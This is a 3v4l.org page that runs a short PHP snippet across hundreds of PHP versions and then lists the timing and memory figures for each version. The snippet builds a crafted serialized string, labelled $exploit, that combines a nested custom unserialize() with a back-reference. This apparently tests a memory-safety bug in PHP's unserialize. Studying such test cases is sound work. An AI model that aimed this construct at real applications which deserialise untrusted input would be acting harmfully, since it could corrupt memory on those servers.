3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); // $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00616.88
8.3.50.0120.00918.05
8.3.40.0070.00718.83
8.3.30.0070.00718.55
8.3.20.0060.00320.39
8.3.10.0040.00421.77
8.3.00.0110.00019.51
8.2.180.0140.00718.54
8.2.170.0110.00422.96
8.2.160.0070.00720.41
8.2.150.0040.00424.18
8.2.140.0070.00024.66
8.2.130.0000.00726.16
8.2.120.0060.00317.50
8.2.110.0080.00420.51
8.2.100.0080.00417.84
8.2.90.0040.00418.03
8.2.80.0080.00017.97
8.2.70.0000.00817.63
8.2.60.0080.00017.80
8.2.50.0040.00418.07
8.2.40.0040.00418.29
8.2.30.0090.00017.95
8.2.20.0000.00717.57
8.2.10.0070.00018.04
8.2.00.0040.00418.00
8.1.280.0120.00325.92
8.1.270.0040.00422.06
8.1.260.0040.00426.35
8.1.250.0080.00028.09
8.1.240.0100.00022.54
8.1.230.0070.00722.81
8.1.220.0000.00817.74
8.1.210.0090.00318.77
8.1.200.0030.00617.13
8.1.190.0000.00817.35
8.1.180.0040.00418.10
8.1.170.0040.00418.69
8.1.160.0070.00018.85
8.1.150.0000.00718.82
8.1.140.0030.00519.54
8.1.130.0030.00617.51
8.1.120.0030.00617.37
8.1.110.0040.00417.29
8.1.100.0000.00717.52
8.1.90.0050.00217.49
8.1.80.0030.00517.46
8.1.70.0000.00717.51
8.1.60.0030.00517.63
8.1.50.0000.00917.54
8.1.40.0060.00317.43
8.1.30.0060.00317.61
8.1.20.0000.00817.64
8.1.10.0030.00517.45
8.1.00.0000.00817.35
8.0.300.0000.00720.03
8.0.290.0040.00416.63
8.0.280.0030.00318.44
8.0.270.0070.00017.25
8.0.260.0000.00816.80
8.0.250.0040.00416.90
8.0.240.0060.00317.05
8.0.230.0070.00017.09
8.0.220.0000.00716.85
8.0.210.0000.00716.96
8.0.200.0000.00616.91
8.0.190.0000.00817.03
8.0.180.0020.00516.97
8.0.170.0040.00416.94
8.0.160.0040.00416.87
8.0.150.0030.00616.89
8.0.140.0000.00716.91
8.0.130.0030.00513.38
8.0.120.0040.00416.98
8.0.110.0030.00616.88
8.0.100.0000.00716.95
8.0.90.0000.00716.78
8.0.80.0120.00916.92
8.0.70.0000.00716.83
8.0.60.0070.00017.02
8.0.50.0070.00016.80
8.0.30.0050.01317.15
8.0.20.0090.01017.40
8.0.10.0000.00817.20
8.0.00.0120.00716.67
7.4.330.0050.00015.08
7.4.320.0030.00316.66
7.4.300.0030.00316.57
7.4.290.0030.00316.53
7.4.280.0020.00516.58
7.4.270.0000.00716.50
7.4.260.0070.00016.50
7.4.250.0040.00416.55
7.4.240.0060.00116.47
7.4.230.0000.00716.72
7.4.220.0090.00916.46
7.4.210.0060.00916.61
7.4.200.0000.00716.49
7.4.160.0040.01116.45
7.4.150.0140.00417.40
7.4.140.0120.00917.86
7.4.130.0130.00916.62
7.4.120.0120.00916.49
7.4.110.0090.00916.73
7.4.100.0090.00916.66
7.4.90.0070.01016.36
7.4.80.0140.00319.39
7.4.70.0060.00916.39
7.4.60.0060.00916.55
7.4.50.0030.00516.63
7.4.40.0160.00616.57
7.4.30.0100.00716.54
7.4.00.0070.00914.93
7.3.330.0030.00313.34
7.3.320.0000.00613.25
7.3.310.0070.00016.27
7.3.300.0030.00316.21
7.3.290.0000.00816.39
7.3.280.0120.00616.34
7.3.270.0070.01017.40
7.3.260.0040.01316.44
7.3.250.0080.01016.71
7.3.240.0090.01016.36
7.3.230.0070.01016.48
7.3.210.0090.00616.30
7.3.200.0120.00616.78
7.3.190.0100.00716.39
7.3.180.0030.01316.55
7.3.170.0040.01716.45
7.3.160.0080.01216.57
7.3.120.0000.01314.99
7.3.110.0130.00714.65
7.3.100.0100.00014.80
7.3.90.0030.00714.64
7.3.80.0060.00314.83
7.3.70.0090.00014.82
7.3.60.0030.01314.70
7.3.50.0030.00714.88
7.3.40.0030.00714.78
7.3.30.0100.00714.87
7.3.20.0110.00416.63
7.3.10.0040.01216.76
7.3.00.0050.00516.70
7.2.330.0160.00616.71
7.2.320.0120.00916.45
7.2.310.0100.00716.52
7.2.300.0060.01016.76
7.2.290.0000.01916.66
7.2.250.0030.01614.92
7.2.240.0070.01414.94
7.2.230.0040.01115.24
7.2.220.0060.01014.97
7.2.210.0070.00715.06
7.2.200.0100.00615.18
7.2.190.0090.00915.04
7.2.180.0040.00814.99
7.2.170.0060.00915.18
7.2.110.0120.00616.70
7.2.60.0080.00816.96
7.2.00.0070.01019.08
7.1.330.0070.00715.84
7.1.320.0040.01115.66
7.1.310.0100.00315.71
7.1.300.0090.00915.74
7.1.290.0100.00315.88
7.1.280.0070.01015.77
7.1.270.0060.00915.53
7.1.260.0100.00015.72
7.1.200.0060.00615.55
7.1.100.0030.00918.04
7.1.70.0030.00717.01
7.1.60.0120.01219.13
7.1.50.0110.01116.91
7.1.00.0100.07022.33
7.0.200.0120.00614.60
7.0.80.0500.06719.89
7.0.70.0400.07019.84
7.0.60.0270.06720.07
7.0.50.0400.08020.25
7.0.40.0100.07720.08
7.0.30.0100.06320.00
7.0.20.0130.06020.08
7.0.10.0030.03720.18
7.0.00.0000.08019.95
5.6.280.0000.07020.93
5.6.230.0070.07020.63
5.6.220.0030.07720.56
5.6.210.0030.04020.48
5.6.200.0070.07720.92
5.6.190.0070.06321.01
5.6.180.0100.07721.14
5.6.170.0000.04020.94
5.6.160.0000.04021.02
5.6.150.0170.06021.10
5.6.140.0070.07021.02
5.6.130.0030.04321.11
5.6.120.0030.04320.93
5.6.110.0100.07021.07
5.6.100.0070.07321.12
5.6.90.0030.07321.06
5.6.80.0030.04020.45
5.6.70.0030.05020.39
5.6.60.0000.04720.39
5.6.50.0000.09020.50
5.6.40.0000.04320.45
5.6.30.0070.07720.24
5.6.20.0070.07720.53
5.6.10.0070.08320.30
5.6.00.0030.06020.45
5.5.370.0100.05020.43
5.5.360.0030.08020.55
5.5.350.0070.07320.44
5.5.340.0030.06320.91
5.5.330.0130.05320.87
5.5.320.0130.03320.93
5.5.310.0130.02720.89
5.5.300.0030.06320.89
5.5.290.0030.04320.64
5.5.280.0030.04020.89
5.5.270.0100.07320.86
5.5.260.0130.03020.78
5.5.250.0100.06020.70
5.5.240.0070.04720.30
5.5.230.0070.04020.17
5.5.220.0070.07020.23
5.5.210.0030.06020.26
5.5.200.0000.04320.15
5.5.190.0070.08020.25
5.5.180.0100.03320.25
5.5.160.0000.04320.22
5.5.150.0000.07720.18
5.5.140.0100.05720.21
5.5.130.0030.05020.27
5.5.120.0030.04020.12
5.5.110.0100.07320.27
5.5.100.0030.07320.05
5.5.90.0070.07020.15
5.5.80.0030.07720.07
5.5.70.0000.03720.09
5.5.60.0100.02719.92
5.5.50.0030.07720.15
5.5.40.0000.05019.99
5.5.30.0070.04720.05
5.5.20.0000.08019.99
5.5.10.0100.06320.03
5.5.00.0070.07020.13
5.4.450.0000.04319.47
5.4.440.0030.08319.38
5.4.430.0100.03719.33
5.4.420.0100.06319.50
5.4.410.0130.06719.22
5.4.400.0030.03718.88
5.4.390.0000.04319.05
5.4.380.0070.03719.05
5.4.370.0130.06019.21
5.4.360.0030.03719.07
5.4.350.0030.07319.03
5.4.340.0030.06319.13
5.4.320.0070.03719.23
5.4.310.0100.03319.14
5.4.300.0030.03719.16
5.4.290.0000.04018.94
5.4.280.0000.06719.05
5.4.270.0070.07018.95
5.4.260.0030.03018.90
5.4.250.0070.03718.88
5.4.240.0030.07719.02
5.4.230.0100.06319.17
5.4.220.0030.08019.11
5.4.210.0070.04319.20
5.4.200.0070.07019.24
5.4.190.0030.06318.89
5.4.180.0070.06318.93
5.4.170.0030.03319.13
5.4.160.0100.05319.07
5.4.150.0100.07318.85
5.4.140.0030.03716.40
5.4.130.0100.06716.48
5.4.120.0030.06016.41
5.4.110.0070.06716.42
5.4.100.0070.06716.50
5.4.90.0070.06716.50
5.4.80.0130.04316.48
5.4.70.0070.07316.30
5.4.60.0030.07016.38
5.4.50.0030.07316.40
5.4.40.0170.06016.42
5.4.30.0070.07016.39
5.4.20.0030.05716.32
5.4.10.0000.03716.25
5.4.00.0030.07715.63

preferences:
51.96 ms | 400 KiB | 5 Q